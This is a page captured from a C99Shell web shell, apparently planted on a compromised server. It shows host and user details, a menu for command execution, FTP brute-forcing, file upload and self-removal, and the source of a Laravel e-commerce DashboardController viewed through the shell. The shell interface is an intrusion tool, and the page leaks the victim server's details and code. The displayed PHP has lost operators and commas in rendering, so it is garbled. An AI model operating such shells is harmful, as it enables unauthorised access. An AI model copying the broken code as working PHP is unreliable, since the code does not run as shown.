!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/   drwxr-xr-x
Free 27.39 GB of 117.98 GB (23.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DashboardController.php (5.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package DashboardController
 * @author TechVillage <support@techvill.org>
 * @contributor Sabbir Al-Razi <[sabbir.techvill@gmail.com]>
 * @created 23-05-2021
 */

namespace App\Http\Controllers;

use 
App\Http\Requests\Common\DashboardRequest;
use 
App\Models\EmailConfiguration;
use 
App\Models\User;
use 
App\Models\Vendor;
use 
App\Services\Reports\AdminDashboardReportService;
use 
Illuminate\Http\Request;
use 
Cache;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Session;

class 
DashboardController extends Controller
{
    private 
$reportService;

    public function 
__construct(AdminDashboardReportService $reportService)
    {
        
$this->reportService $reportService;
    }

    
/**
     * Display a listing of the Over All Information on Dashboard.
     *
     * @return Dashboard page view
     */
    
public function index()
    {
        if (
is_null(EmailConfiguration::first())) {
            
Session::flash('fail'__('Please configure SMTP setting to work all the email sending and related functionality.')
                . 
" <a href=" route('emailConfigurations.index') . " target='_blank'>" __('Configure Now.') . "</a>"
            
);
        }

        if (
config('martvill.is_demo')) {
            
Session::flash('info'__('Demo resets every 4 hours. Before purchasing, Feel free to test all the features. Some features are disabled in demo.'));
        }

        return 
view('admin.dashboard'$this->reportService
            
->thisMonthOrdersCount()
            ->
thisMonthSalesCount()
            ->
newProductsCount()
            ->
newRefundsCount()
            ->
newVendors()
            ->
orderStatusWithCount()
            ->
newUsersCount('newUsers')
            ->
salesOfTheMonth()
            ->
topSoldBrands()
            ->
thisMonthOrdersCompare()
            ->
thisMonthSalesCompare()
            ->
newUsersCompare()
            ->
newProductsCountCompare()
            ->
newVendorsCompare()
            ->
newRefundsCountCompare()
            ->
commissionThisMonth()
            ->
commissionThisMonthCompare()
            ->
openTicketsCount()
            ->
pendingWithdrawalRequestsCount()
            ->
getArray());
    }


    
/**
     * Get the most ordered products
     * @param DashboardRequest $request
     * @return mixed
     */
    
public function mostSoldProducts(DashboardRequest $request)
    {
        return 
$this->response($this->reportService->mostSoldProducts()->get());
    }


    
/**
     * Get the most ordered products
     * @param DashboardRequest $request
     * @return mixed
     */
    
public function mostActiveUsers(DashboardRequest $request)
    {
        return 
$this->reportService->mostActiveUsers()->getResponse();
    }


    
/**
     * Get vendor status
     * @param DashboardRequest $request
     * @return mixed
     */
    
public function vendorStats(DashboardRequest $request)
    {
        return 
$this->reportService->vendorStats()->getResponse();
    }

    
/**
     * @param $type
     * @return mixed
     */
    
public function vendorStatsType($type)
    {
        return 
$this->reportService->vendorStats("vendorStats"$type)->getResponse();
    }


    
/**
     * Get product details
     * @param DashboardRequest $request
     * @return Response
     */
    
public function getProductData(DashboardRequest $request)
    {
        return 
$this->reportService->productDetails($request->uid)->getResponse();
    }


    
/**
     * Get user details
     * @param DashboardRequest $request
     * @return Response
     */
    
public function getUserData(DashboardRequest $request)
    {
        return 
$this->reportService->userDetails($request->uid)->getResponse();
    }


    
/**
     * Get user details
     * @param DashboardRequest $request
     * @return Response
     */
    
public function salesOfTheMonth(DashboardRequest $request)
    {
        return 
$this->reportService->salesOfTheMonth()->getResponse();
    }


    
/**
     * Most sold brands
     * @param DashboardRequest $request
     * @return Response
     */
    
public function topSoldBrands(DashboardRequest $request)
    {
        return 
$this->reportService->topSoldBrands()->getResponse();
    }


    
/**
     * Change Language function
     *
     * @return true or false
     */
    
public function switchLanguage(Request $request)
    {
        if (
$request->lang) {
            if (!empty(
Auth::user()->id) && isset(Auth::user()->id)) {
                
Cache::put(config('cache.prefix') . '-user-language-' Auth::user()->id$request->lang365 86400);
                echo 
1;
                exit;
            }
        }
        echo 
0;
        exit();
    }

    
/**
     * Vendor request list
     *
     * @param DashboardRequest $request
     * @return mixed
     */
    
public function vendorReq(DashboardRequest $request)
    {
        return 
$this->reportService->vendorRequestList()->getResponse();
    }

    
/**
     * @param $status
     * @param $id
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function changeStatus($status null$id null)
    {
        
$response = ['accept' => 'Active''reject' => 'Inactive'];
        
Vendor::whereId($id)->update([
            
'status' => isset($response[$status]) ? $response[$status] : 'Inactive'
        
]);
        return 
$this->reportService->vendorRequestList()->getResponse();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--